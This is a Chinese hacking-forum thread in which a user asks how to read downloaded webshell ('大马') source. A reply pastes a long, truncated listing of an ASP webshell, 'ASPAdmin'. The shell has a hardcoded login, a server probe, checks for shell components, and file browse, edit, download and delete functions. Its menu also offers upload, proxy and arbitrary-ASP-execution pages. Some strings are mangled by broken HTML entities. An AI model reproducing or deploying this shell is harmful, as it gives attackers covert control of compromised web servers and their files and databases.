求助？？（已解决）

lijian · 2009-9-9 11:39:58

我从帖子说的，下载了，有关的文件，比如大马源码，有Dreamweaver 打开的，都是乱码的，怎么办啊？？
我想看看，是怎么编写的，我在修改属性设了，编码格式的，还是不行！！
知道怎么做的，请告诉我一声！！
谢谢！

ＨＵＣ-帝冢 · 2009-9-9 11:41:21

提示: 作者被禁止或删除内容自动屏蔽

lijian · 2009-9-9 11:42:18

哦，有什么好的解决方法

ＨＵＣ-冷无崖 · 2009-9-9 12:19:52

有不加密的,直接用记事本打开就OK

类似这个大马,就没加密
Rar! ?s
?t ? ]ckS+~80 vote2005.asp 鞍?<object runat="server" id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
' Option Explicit
Response.Buffer = True

Dim url, conn, sUrlB, theAct, thePath, rootPath, PageSize
Dim accessStr, pageName, sysFileList, isSqlServer, sPacketName
theAct = GetPost("theAct")
PageSize = 20 ''默认每页记录数
isSqlServer = False
rootPath = Server.MapPath("/")
pageName = GetPost(&quot

ageName")
url = Request.ServerVariables("URL") ''当前页的相对路径
sPacketName = &quot

acket.mdb" ''文件包默认文件名
thePath = Replace(getPost("thePath"), "\\\\", "\\")
sysFileList = "$" & sPacketName & "$" & Left(sPacketName, InStrRev(sPacketName, ".") - 1) & ".ldb$"
accessStr = &quot

rovider=Microsoft.Jet.OLEDB.4.0; Data Source={$dbSource};User Id={$userId};Jet OLEDB

atabase Password=""{$passWord}"";"

Const m = "ASPAdmin_A" ''Session标志
Const isDebugMode = False 'False,True''是否调试模式
Const maxPageCount = 600 ''查询时最多只列出N页的链接
Const userPassword = "53504D4E514E52" ''登录密码
Const imageFileExt = "$gif$jpg$bmp$" ''图像后缀列表
Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"

Sub echo(str)
      Response.Write(str)
End Sub

Sub IsIn()
      If Session(m & "userPassword") <> userPassword Then
         echo "<script>alert('没有权限的访问,请先登录!');location.href='" & url & "';</script>"
         Response.End()
      End If
End Sub

Function IIf(var, val1, val2)
      If var = True Then
         IIf = val1
      Else
         IIf = val2
      End If
End Function

Sub RedirectTo(url)
      Response.Redirect(url)
End Sub

Function GetPost(var)
      Dim val
      If Request.QueryString(&quot

ageName") = &quot

ageUpload" Then
pageName = &quot

ageUpload"
         Exit Function
      End If
      val = RTrim(Request.Form(var))
      If val = "" Then
         val = RTrim(Request.QueryString(var))
      End If
      GetPost = val
End Function

Function HtmlEncode(str)
      If IsNull(str) Then Exit Function
      HtmlEncode = Server.HTMLEncode(str)
End Function

Function UrlEncode(str)
      If IsNull(str) Then Exit Function
      UrlEncode = Server.UrlEncode(str)
End Function

Sub ShowTitle(str)
      Response.Write "<title>" & str & " - 程序网络工作组ASPAdmin(物理路径版) V1.02</title>"
      Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>"
End Sub

Function GetTheSize(num)
      Dim i, arySize(4)
      arySize(0) = "B"
      arySize(1) = "KB"
      arySize(2) = "MB"
      arySize(3) = "GB"
      arySize(4) = "TB"
      While(num / 1024 >= 1)
         num = Fix(num / 1024 * 100) / 100
         i = i + 1
      WEnd
      GetTheSize = num & " " & arySize(i)
End Function

Sub ShowErr(str)
      Dim i, arrayStr
      str = Server.HtmlEncode(str)
      arrayStr = Split(str, "$$")

      echo "<font size=2>"
      echo "出错信息:<br/><br/>"
      For i = 0 To UBound(arrayStr)
         echo "  " & (i + 1) & ". " & arrayStr(i) & "<br/>"
      Next
      echo "</font>"

      Response.End()
End Sub

Sub CreateFolder(thePath)
      Dim i
      i = InStr(Mid(thePath, 4), "\\") + 3
      Do While i > 0
         If fso.FolderExists(Left(thePath, i)) = False Then
            fso.CreateFolder(Left(thePath, i - 1))
         End If
         If InStr(Mid(thePath, i + 1), "\\") Then
            i = i + Instr(Mid(thePath, i + 1), "\\")
         Else
            i = 0
         End If
      Loop
End Sub

Sub AlertThenClose(str)
      If str = "" Then
         Response.Write "<script>window.close();</script>"
      Else
         Response.Write "<script>alert(""" & str & """);window.close();</script>"
      End If
End Sub

Sub ChkErr(Err)
      If Err Then
         echo "<hr style='color:#d8d8f0;'/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
         echo "<hr style='color:#d8d8f0;'/> By Marcos 2005.06</font>"
         Err.Clear
         Response.End
      End If
End Sub

Sub TopMenu()
      echo "<form method=post name=formp action=""" & url & """>"
      echo "<select name=PageName onchange=changePage(this)>"
      echo "<option value=''>请选择功能页面</option>"
      echo "<option value=PageCheck>服务器信息探针</option>"
      echo "<option value=PageFso>FSO文件浏览操作器</option>"
      echo "<option value=PageDBTool>数据库操作器</option>"
      echo "<option value=PagePack>文件夹打包/解开器</option>"
      echo "<option value=PageUpload>批量文件上传</option>"
      echo "<option value=PageSearch>文本文件搜索器</option>"
      echo "<option value=PageWebProxy>HTTP协议网页代理</option>"
      echo "<option value=PageExecute>自定义ASP语句运行</option>"
      echo "<option value=PageOut>退出系统</option>"
      echo "</select>"
      echo "</form>"
      echo "<script lanuage=javascript>"
      echo "formp.PageName.value='" & pageName & "';"
      echo "function changePage(obj){"
      echo " if(obj.value==&#39

ageOut')"
echo " if(!confirm('确认要退出系统吗?'))return;"
echo "if(obj.value==&#39

ageWebProxy')obj.form.target='_blank';"
      echo " obj.form.submit();obj.form.target='';"
      echo "}"
      echo "</script>"
End Sub

Rem ++++++++++++++++++++++++++++++++++++
Rem       以下是页面选择部分
Rem ++++++++++++++++++++++++++++++++++++

PageOther()
If pageName <> "" Then
      IsIn()
      TopMenu()
End If

Select Case pageName
      Case &quot

ageSearch"
PageSearch()
Case &quot

ageCheck"
         PageCheck()
      Case "PageFso"
         PageFso()
      Case "PageDBTool"
         PageDBTool()
      Case "PageUpload"
         PageUpload()
      Case "PagePack"
         PagePack()
      Case "PageExecute"
         PageExecute()
      Case "PageWebProxy"
         PageWebProxy()
      Case "", "PageOut"
         PageLogin()
End Select

Rem +++++++++++++++++++++++++++++++++++++
Rem       以下是各功能模块部分
Rem +++++++++++++++++++++++++++++++++++++

Sub PageSearch()
      Dim strKey, strPath
      strKey = GetPost("Key")
      Server.ScriptTimeout = 5000
      If thePath = "" Then thePath = rootPath

      ShowTitle("文本文件搜索器")

      SearchTable(strKey)

      If theAct <> "" And strKey <> "" Then
         SearchIt(strKey)
      End If
End Sub

Sub SearchTable(strKey)
      echo "<table width=750 border=1>"
      echo "<form method=post action='" & url & "'>"
      echo "<input type=hidden value=PageSearch name=PageName>"
      echo "<tr>"
      echo "<td colspan=2 class=td><font face=webdings>8</font> 文本文件搜索器(需FSO支持)</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> 路径</td>"
      echo "<td> <input name=thePath type=text id=thePath value='"
      echo HtmlEncode(thePath)
      echo "' style='width:360px;'>"
      echo "</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td width='20%'> 关键字</td>"
      echo "<td> <input name=Key type=text value='" & HtmlEncode(strKey) & "' id=Key style='width:400px;'> "
      echo "<select name=theAct id=theAct>"
      echo "<option value=FileName selected>仅文件名</option>"
      echo "<option value=FileContent>仅文本内容</option>"
      echo "<option value=Both>两者都</option>"
      echo "</select>"
      echo " <input type=submit name=Submit value=提交> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr align=right>"
      echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</form>"
      echo "</table>"
End Sub

Sub SearchIt(key)
      Dim strPath, theFolder
      Response.Buffer = True
      strPath = thePath
      If fso.FolderExists(strPath) = False Then
         ShowErr(thePath & " 目录不存在或者不允许访问!")
      End If
      Set theFolder = fso.GetFolder(strPath)

      echo "<br/><div style='width:750;border:1px solid #d8d8f0;'>"

      Select Case theAct
         Case "Both"
            Call SearchFolder(theFolder, key, 1)
         Case "FileName"
            Call SearchFolder(theFolder, key, 2)
         Case "FileContent"
            Call SearchFolder(theFolder, key, 3)
      End Select

      echo "</div>"

      Set theFolder = Nothing
End Sub

Sub SearchFolder(folder, key, flag)
      Dim ext, title, theFile, theFolder

      For Each theFile In folder.Files
         ext = LCase(fso.GetExtensionName(theFile.Path))
         If flag = 1 Or flag = 2 Then
            If InStr(LCase(theFile.Name), LCase(key)) > 0 Then echo FileLink(theFile, "")
         End If
         If flag = 1 Or flag = 3 Then
            If Instr(EditableFileExt, "$" & ext & "$") > 0 Then
                  If SearchFile(theFile, key, title) Then echo FileLink(theFile, title)
            End If
         End If
      Next

      Response.Flush()

      For Each theFolder In folder.SubFolders
         Call SearchFolder(theFolder, key, flag)
      Next
end sub

Function SearchFile(f, s, title)
      Dim theFile, content, pos1, pos2
      If isDebugMode = False Then On Error Resume Next

      Set theFile = fso.OpenTextFile(f.Path)
      content = theFile.ReadAll()
      theFile.Close
      Set theFile = Nothing

      If Err Then
         Err.Clear
      End If

      SearchFile = InStr(1, content, s, 1)
      If SearchFile > 0 Then
         pos1 = InStr(1, content, "<TITLE>", 1)
         pos2 = InStr(1, content, "</TITLE>", 1)
         title = ""
         If pos1 > 0 And pos2 > 0 Then
            title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
         End If
      End If
End Function

Function FileLink(file, title)
      fileLink = file.Path
      If title = "" Then
         title = file.Name
      End If
      fileLink = " <font color=ff0000>" & title & "</font> " & fileLink & "<br/>"
End Function

Sub PageCheck()
      ShowTitle("服务器信息探针")
      InfoCheck()
      If theAct <> "" Then
      GetAppOrSession(theAct)
      End If
      ObjCheck()
End Sub

Sub InfoCheck()
      Dim aryCheck(6)
      If isDebugMode = False Then On Error Resume Next

      aryCheck(0) = Server.ScriptTimeOut() & "(秒)"
      aryCheck(1) = FormatDateTime(Now(), 0)
      aryCheck(2) = Request.ServerVariables("SERVER_NAME")
      aryCheck(2) = aryCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
      aryCheck(2) = aryCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
      aryCheck(3) = Request.ServerVariables("OS")
      aryCheck(3) = IIf(aryCheck(3) = "", "Windows2003", aryCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
      aryCheck(3) = aryCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
      aryCheck(4) = rootPath & ", " & GetTheSize(fso.GetFolder(rootPath).Size)
      aryCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & "<br />"
      aryCheck(5) = aryCheck(5) & " Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
      aryCheck(6) = "变量数: " & Application.Contents.Count() & "(<a href=javascript:locate('app');>Application</a>),"
      aryCheck(6) = aryCheck(6) & " 会话数: " & Session.Contents.Count & "(<a href=javascript:locate('session');>Session</a>),"
      aryCheck(6) = aryCheck(6) & " 当前会话ID: " & Session.SessionId()

      echo "<table width=750 border=1>"
      echo "<tr>"
      echo "<td colspan=2 class=td><font face=webdings>8</font> 服务器基本信息"
      echo "</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr class=td>"
      echo "<td width='20%'> 项目</td>"
      echo "<td> 值</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> 默认超时</td>"
      echo "<td> "&aryCheck(0)&"</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> 当前时间</td>"
      echo "<td> "&aryCheck(1)&"</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> 服务器名</td>"
      echo "<td> "&aryCheck(2)&"</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> 软件环境</td>"
      echo "<td> "&aryCheck(3)&"</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> 站点目录</td>"
      echo "<td> "&aryCheck(4)&"</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> 当前路径</td>"
      echo "<td> "&aryCheck(5)&"</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> 其它</td>"
      echo "<td> "&aryCheck(6)&"</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr align=right>"
      echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</table>"
End Sub

Sub ObjCheck()
      Dim aryObj(19)
      Dim x, objTmp, theObj, strObj
      If isDebugMode = False Then On Error Resume Next

      strObj = Trim(getPost("TheObj"))
      aryObj(0) = "MSWC.AdRotator|广告轮换组件"
      aryObj(1) = "MSWC.BrowserType|浏览器信息组件"
      aryObj(2) = "MSWC.NextLink|内容链接库组件"
      aryObj(3) = "MSWC.Tools|"
      aryObj(4) = "MSWC.Status|"
      aryObj(5) = "MSWC.Counters|计数器组件"
      aryObj(6) = "MSWC.PermissionChecker|权限检测组件"
      aryObj(7) = "Adodb.Connection|ADO 数据对象组件"
      aryObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件"
      aryObj(9) = "Scripting.FileSystemObject|FSO组件"
      aryObj(10) = "Adodb.Stream|Stream 流组件"
      aryObj(11) = "Shell.Application|"
      aryObj(12) = "WScript.Shell|"
      aryObj(13) = "Wscript.Network|"
      aryObj(14) = "ADOX.Catalog|"
      aryObj(15) = "JMail.SmtpMail|JMail 邮件收发组件"
      aryObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件"
      aryObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件"
      aryObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件"
      aryObj(19) = strObj & "|您所要检测的组件"

      echo "<br/>"
      echo "<table width=750 border=1>"
      echo "<tr>"
      echo "<td colspan=3 class=td><font face=webdings>8</font> 服务器组件信息"
      echo "</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=3 class=trHead> </td>"
      echo "</tr>"
      echo "<tr class=td>"
      echo "<td> 组件<font color=#666666>(描述)</font></td>"
      echo "<td width=10% align=center>支持</td>"
      echo "<td width=15% align=center>版本</td>"
      echo "</tr>"
      For Each x In aryObj
         theObj = Split(x, "|")
         If theObj(0) = "" Then Exit For
         Set objTmp = Server.CreateObject(theObj(0))
         If Err <> -2147221005 Then
            x = x & "|√|"
            x = x & objTmp.Version
         Else
            x = x & "|<font color=red>×</font>|"
         End If
         If Err Then Err.Clear
         Set objTmp = Nothing

         theObj = Split(x, "|")
         theObj(1) = theObj(0) & IIf(theObj(1) <> "", " <font color=#666666>(" & theObj(1) & ")</font>", "")
         echo "<tr>"
         echo "<td> " & theObj(1) & "</td>"
         echo "<td align=center>" & theObj(2) & "</td>"
         echo "<td align=center>" & theObj(3) & "</td>"
         echo "</tr>"
      Next
      echo "<form method=post action='" & url & "'>"
      echo "<input type=hidden name=PageName value=PageCheck><input type=hidden name=theAct id=theAct>"
      echo "<tr>"
      echo "<td colspan=3> 其它组件检测:"
      echo "<input name=TheObj type=text id=TheObj style='width:585px;' value=""" & strObj & """>"
      echo "<input type=submit name=Submit value=提交></td>"
      echo "</tr>"
      echo "</form>"
      echo "<tr>"
      echo "<td colspan=3 class=trHead> </td>"
      echo "</tr>"
      echo "<tr align=right>"
      echo "<td colspan=3 class=td>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</table>"
End Sub

Sub GetAppOrSession(theAct)
      Dim x, y
      If isDebugMode = False Then On Error Resume Next

      echo "<br/>"
      echo "<table width=750 border=1 class=fixTable>"
      echo "<tr>"
      echo "<td colspan=2 class=td><font face=webdings>8</font> Application/Session 查看"
      echo "</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr class=td>"
      echo "<td width='20%'> 变量</td>"
      echo "<td> 值</td>"
      echo "</tr>"
      If theAct = "app" Then
         For Each x In Application.Contents
            echo "<tr><td valign=top>"
            echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
            echo "</td><td style='padding-left:7px;'><span>"
            If IsArray(Application(x)) = True Then
                  For Each y In Application(x)
                     echo "<div>" & Replace(HtmlEncode(y), vbNewLine, "<br/>") & "</div>"
                  Next
               Else
                  echo Replace(HtmlEncode(Application(x)), vbNewLine, "<br/>")
            End If
            echo "</span></td></tr>"
         Next
      End If
      If theAct = "session" Then
         For Each x In Session.Contents
            echo "<tr><td valign=top>"
            echo " <span class=fixSpan style='width:130px;' title='" & x & "'>" & x & "<span>"
            echo "</td><td style='padding-left:7px;'><span>"
            echo Replace(HtmlEncode(Session(x)), vbNewLine, "<br/>")
            echo "</span></td></tr>"
         Next
      End If
      echo "<tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr align=right>"
      echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</table>"
End Sub

Sub PageFso()
      ShowTitle("FSO文件浏览操作器")

      Select Case theAct
         Case "rename"
            RenOne()
         Case "download"
            DownTheFile()
            Response.End()
         Case "del"
            DelOne()
         Case "newone"
            NewOne()
         Case "saveas"
            SaveAs()
         Case "save"
            SaveToFile()
'             AlertThenClose("文件修改成功!")
            ShowEdit()
            Response.End()
         Case "showedit"
            ShowEdit()
            Response.End()
         Case "showimage"
            ShowImage()
            Response.End()
         Case "copy", "move"
            MoveCopyOne()
      End Select

      If theAct <> "" Then thePath = GetPost("truePath")

      FsoFileExplorer()
End Sub

Sub FsoFileExplorer()
      Dim objX, theFolder, folderId, extName, parentFolderName
      Dim strPath
      If isDebugMode = False Then On Error Resume Next
      If thePath = "" Then thePath = rootPath
      strPath = thePath

      If fso.FolderExists(strPath) = False Then
         ShowErr(thePath & " 目录不存在或者不允许访问!")
      End If

      Set theFolder = fso.GetFolder(strPath)
      parentFolderName = fso.GetParentFolderName(strPath) & "\\"

      echo "<table width=750 border=1>"
      echo "<form method=post action='" & url & "'>"
      echo "<tr>"
      echo "<td colspan=2 class=td><font face=webdings>8</font> FSO文件浏览操作器"
      echo "</tr>"
      echo "<tr><td colspan=2 class=trHead> </td></tr>"
      echo "<tr>"
      echo "<td colspan=2> "
      echo "路径: <input style='width:500px;' name=thePath value=""" & HtmlEncode(thePath) & """>"
      echo "<input type=hidden name=truePath value=""" & HtmlEncode(thePath) & """>"
      echo " <input type=button value='提交' onclick=Command('submit');>"
      echo " <input type=button value=上传 onclick=Command('upload')>"
      echo "</td>"
      echo "</tr>"
      echo "<tr><td colspan=2 class=trHead> </td></tr>"
      echo "<tr><td valign=top>"
      echo "<input type=hidden name=theAct>"
      echo "<input type=hidden name=param>"
      echo "<input type=hidden value=PageFso name=PageName>"
      echo "<table width='99%' align=center>"
      echo "<tr><td colspan=4 class=trHead> </td></tr><tr class=td><td>"

      If parentFolderName <> "\\" Then
         folderId = Replace(parentFolderName, "\\", "\\\\")
         echo " <a href=""javascript:changeThePath("" & folderId & "");"">↑回上级目录</a>"
      End If
      echo "</td><td align=center width=80>大小</td>"
      echo "<td align=center width=140>最后修改</td><td align=center>操作</td></tr>"

      For Each objX In theFolder.SubFolders
         folderId = Replace(objX.Path, "\\", "\\\\")
         echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>■</font>"
         echo "<span class=fixSpan style='width:180;'>"
         echo "<a href=""javascript:changeThePath("" & folderId & "");"">"& objX.Name & "</a></span>"
         echo "</td>"
         echo "<td align=center>-</td>"
         echo "<td align=center>" & objX.DateLastModified & "</td><td>"
         echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"
         echo "<input type=button onclick=""Command('rename',"" & objX.Name & "");"" value='Ren' title=重命名>"
         echo "<input type=button value='SaveAs' title=另存为 onclick=""Command('saveas',"" & Replace(objX.Path, "\\", "\\\\") & "")"">"
         echo "</td></tr>"
      Next
      For Each objX In theFolder.Files
         If Left(objX.Path, Len(rootPath)) <> rootPath Then
            folderId = ""
         Else
            folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20")
         End If
         echo "<tr title=""" & objX.Name & """><td> <font color=CCCCFF>□</font>"
         echo "<span class=fixSpan style='width:180;'>"
         If folderId = "" Then
            echo objX.Name
         Else
            echo "<a href='" & Replace(folderId, "%5C", "/") & "' target=_blank>" & objX.Name & "</a>"
         End If
         echo "</span></td><td align=center>" & GetTheSize(objX.Size) & "</td>"
         echo "<td align=center>" & objX.DateLastModified & "</td><td>"
         echo "<input type=checkbox name=checkBox value=""" & objX.Name & """>"

         extName = LCase(fso.GetExtensionName(objX.Path))
         If InStr(editableFileExt, "$" & extName & "$") > 0 Then
            echo "<input type=button value='Edit' title=编辑 onclick=""Command('showedit',"" & objX.Name & "");"">"
         End If
         If InStr(imageFileExt, "$" & extName & "$") > 0 Then
            echo "<input type=button value='View' title=查看图片 onclick=""Command('showimage',"" & objX.Name & "");"">"
         End If
         If extName = "mdb" Then
            echo "<input type=button value='Access' title=数据库操作 onclick=Command('access',""" & objX.Name & """)>"
         End If
         echo "<input type=button value='D' title=下载 onclick=""Command('download',"" & objX.Name & "")"">"
         echo "<input type=button value='Ren' title=重命名 onclick=""Command('rename',"" & objX.Name & "")"">"
         echo "<input type=button value='S' title=另存为 onclick=""Command('saveas',"" & Replace(objX.Path, "\\", "\\\\") & "")"">"
         echo "</td></tr>"
      Next
      echo "<tr class=td><td colspan=3></td>"
      echo "<td><input type=checkbox name=checkAll onclick=checkAllBox(this);>"
      echo "<input type=button value='Delete' onclick=Command('del')>"
      echo "<input type=button value='Pack' title=打包选中文件(夹) onclick=Command('pack')>"
      echo "</td></tr></table>"
      echo "</td><td width='20%' valign=top align=center>"
      echo "<input type=button value=刷新 onclick=this.form.thePath.value=this.form.truePath.value;Command('submit');><br/>"
      echo "<input type=button value=新建文件 onclick=Command('newone','file')><br/>"
      echo "<input type=button value=新建文件夹 onclick=Command('newone','folder')><hr style='color:#d8d8f0;'/>"
      echo "移动选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=MoveTo><br/><input type=button value='移动' onclick=Command('move');><hr style='color:#d8d8f0;'/>"
      echo "复制选中文件(夹)到<br/><input value=""" & HtmlEncode(thePath) & """ name=CopyTo><br/><input type=button value='复制' onclick=Command('copy');><hr style='color:#d8d8f0;'/>"
      echo "</td></tr><tr>"
      echo "<td colspan=2 class=trHead> </td>"
      echo "</tr>"
      echo "<tr align=right>"
      echo "<td colspan=2 class=td>By Marcos 2005.06 </td>"
      echo "</tr>"
      echo "</form>"
      echo "</table>"

      Set theFolder = Nothing
End Sub

Sub RenOne()
      Dim objX, strPath, aryParam, isFile, isFolder
      If isDebugMode = False Then On Error Resume Next
      aryParam = Split(GetPost("param"), ",")
      strPath = GetPost("truePath") & "\\"
      aryParam(0) = strPath & aryParam(0)
      isFile = fso.FileExists(aryParam(0))
      isFolder = fso.FolderExists(aryParam(0))

      If isFile = False And isFolder = False Then
         ShowErr("文件(夹)不存在或者不允许访问!")
      End If

      If isFile = False Then
         Set objX = fso.GetFolder(aryParam(0))
         objX.Name = aryParam(1)
      Else
         Set objX = fso.GetFile(aryParam(0))
         objX.Name = aryParam(1)
      End If
      Set objX = Nothing

      ChkErr(Err)
End Sub

Sub DownTheFile()
      Response.Clear
      Dim stream, strPath, fileContentType
      If isDebugMode = False Then On Error Resume Next
      strPath = GetPost("truePath") & "\\" & GetPost("param")

      Set stream = Server.CreateObject("adodb.stream")
      stream.Open
      stream.Type = 1
      stream.LoadFromFile(strPath)
      ChkErr(Err)
      Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
      Response.AddHeader "Content-Length", stream.Size
      Response.Charset = "UTF-8"
      Response.ContentType = "Application/Octet-Stream"
      Response.BinaryWrite stream.Read
      Response.Flush
      stream.Close
      Set stream = Nothing
End Sub

Sub DelOne()
      Dim objX, strPath
      If isDebugMode = False Then On Error Resume Next
      strPath = GetPost("truePath") & "\\"
      For Each objX In Request.Form("checkBox")
         If fso.FolderExists(strPath & objX) = True Then
            Call fso.DeleteFolder(strPath & objX, True)
            ChkErr(Err)
         Else
            If fso.FileExists(strPath & objX) = True Then
                  Call fso.DeleteFile(strPath & objX, True)
                  ChkErr(Err)
            End If
         End If
      Next
End Sub

Sub MoveCopyOne()
      Dim objX, strPath, strMoveTo, strCopyTo
      If isDebugMode = False Then On Error Resume Next
      strMoveTo = GetPost("MoveTo")
      strCopyTo = GetPost("CopyTo")
      strPath = GetPost("truePath") & "\\"
      If theAct = "move" Then
         strMoveTo = strMoveTo & "\\"
      Else
         strCopyTo = strCopyTo & "\\"
      End If

      For Each objX In Request.Form("checkBox")
         If theAct = "move" Then
            If InStr(strMoveTo, strPath & objX) > 0 Then
                  ShowErr("目标文件夹不能在源文件夹内")
            End If
            If fso.FileExists(strPath & objX) = True Then
                  Call fso.MoveFile(strPath & objX, strMoveTo & objX)
               Else
                  Call fso.MoveFolder(strPath & objX, strMoveTo & objX)
            End If
         Else
            If InStr(strCopyTo, strPath & objX) > 0 Then
                  ShowErr("目标文件夹不能在源文件夹内")
            End If
            If fso.FileExists(strPath & objX) = True Then
                  Call fso.CopyFile(strPath & objX, strCopyTo & objX)
               Else
                  Call fso.CopyFolder(strPath & objX, strCopyTo & objX)
            End If
         End If
         ChkErr(Err)
      Next
End Sub

Sub NewOne()
      Dim objX, strPath, aryParam
      If isDebugMode = False Then On Error Resume Next
      aryParam = Split(GetPost("param"), ",")
      strPath = GetPost("truePath") & "\\" & aryParam(0)

      If aryParam(1) = "file" Then
         Call fso.CreateTextFile(strPath, False)
      Else
         fso.CreateFolder(strPath)
      End If
End Sub

Sub ShowEdit()
      Dim theFile, strPath
      If isDebugMode = False Then On Error Resume Next
      strPath = GetPost("truePath") & "\\" & GetPost("param")
      If Right(strPath, 1) = "\\" Then strPath = Left(strPath, Len(strPath) - 1)
      Set theFile = fso.OpenTextFile(strPath, 1, False)
      ChkErr(Err)

      echo "<table width=750 height=100% border=0 cellpadding=0 cellspacing=0>"
      echo "<tr>"
      echo "<td class=td><font face=webdings>8</font> FSO文本编辑器</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead> </td>"
      echo "</tr>"
      echo "<form method=post action=" & url & ">"
      echo "<input type=hidden name=theAct>"
      echo "<input type=hidden value=PageFso name=PageName>"
      echo "<tr>"
      echo "<td height=22> <input name=truePath value=""" & strPath & """ style=width:500px;>"
      echo "<input type=submit value=查看 onClick=this.form.theAct.value='showedit';></td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td> <textarea name=fileContent style='width:735px;height:100%;'>"
      echo HtmlEncode(theFile.ReadAll())
      echo "</textarea></td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=td align=center><input type=button name=Submit value=保存 onClick=""if(confirm('确认保存修改?')){this.form.theAct.value='save';this.form.submit();}"">"
      echo "<input type=reset value=重置><input type=button onclick=window.close(); value=关闭>"
'       echo "<input type=button value=查看 title='在新窗口中打开该文件链接' onclick=preView('2');>"
      echo "<input type=button value=预览 onclick=preView('1'); title='以HTML方式在新窗口中预览当前代码'></td>"
      echo "</tr>"
      echo "</form>"
      echo "</table>"

      Set theFile = Nothing
End Sub

Sub SaveToFile()
      Dim theFile, strPath, fileContent
      If isDebugMode = False Then On Error Resume Next
      fileContent = GetPost("fileContent")
      strPath = GetPost("truePath")

      Set theFile = fso.OpenTextFile(strPath, 2, True)
      theFile.Write fileContent
      theFile.Close
      ChkErr(Err)

      Set theFile = Nothing
End Sub

Sub SaveAs()
      Dim strPath, aryParam, isFile
      If isDebugMode = False Then On Error Resume Next
      aryParam = Split(GetPost("param"), ",")
      aryParam(0) = aryParam(0)
      aryParam(1) = aryParam(1)
      isFile = fso.FileExists(aryParam(0))

      If isFile = True Then
         fso.CopyFile aryParam(0), aryParam(1), False
      Else
         fso.CopyFolder aryParam(0), aryParam(1), False
      End If

      ChkErr(Err)
End Sub

Sub ShowImage()
      Dim stream, strPath, fileContentType
      If isDebugMode = False Then On Error Resume Next
      strPath = GetPost("truePath") & "\\" & GetPost("param")

      Set stream = Server.CreateObject("adodb.stream")
      stream.Open
      stream.Type = 1
      stream.LoadFromFile(strPath)
      ChkErr(Err)
      Response.Clear
      Response.BinaryWrite stream.Read
      stream.Close

      Set stream = Nothing
End Sub

Sub PageDBTool()
      ShowTitle("Access + SQL Server 数据库操作")
      echo "<form method=post action=""" & url & """>"

      If theAct <> "" And theAct <> "Query" And theAct <> "ShowTables" Then
         SqlShowEdit()
         echo "</form>"
         Response.End()
      End If

      ShowDBTool()

      Select Case theAct
         Case "Query"
            ShowQuery()
         Case "ShowTables"
            ShowTables()
      End Select

      echo "</form>"
End Sub

Sub ShowDBTool()
      echo "<table width=750>"
      echo "<input type=hidden value=PageDBTool name=PageName>"
      echo "<input type=hidden name=theAct>"
      echo "<input type=hidden name=param>"
      echo "<tr>"
      echo "<td class=td><font face=webdings>8</font> Access + SQL Server 数据库操作</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td height=50 align=center>"
      echo "<input name=thePath type=text id=thePath value=""" & HtmlEncode(thePath) & """ size=60>"
      echo "</td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td class=trHead> </td>"
      echo "</tr>"
      echo "<tr>"
      echo "<td align=center class=td>"
      echo "<input type=submit name=Submit value=提交 onclick=""this.form.theAct.value='ShowTables';"">"
      echo "<input type=button value=MDB onclick=""this.form.thePath.value='DataSource;UserName;PassWord;';"">"
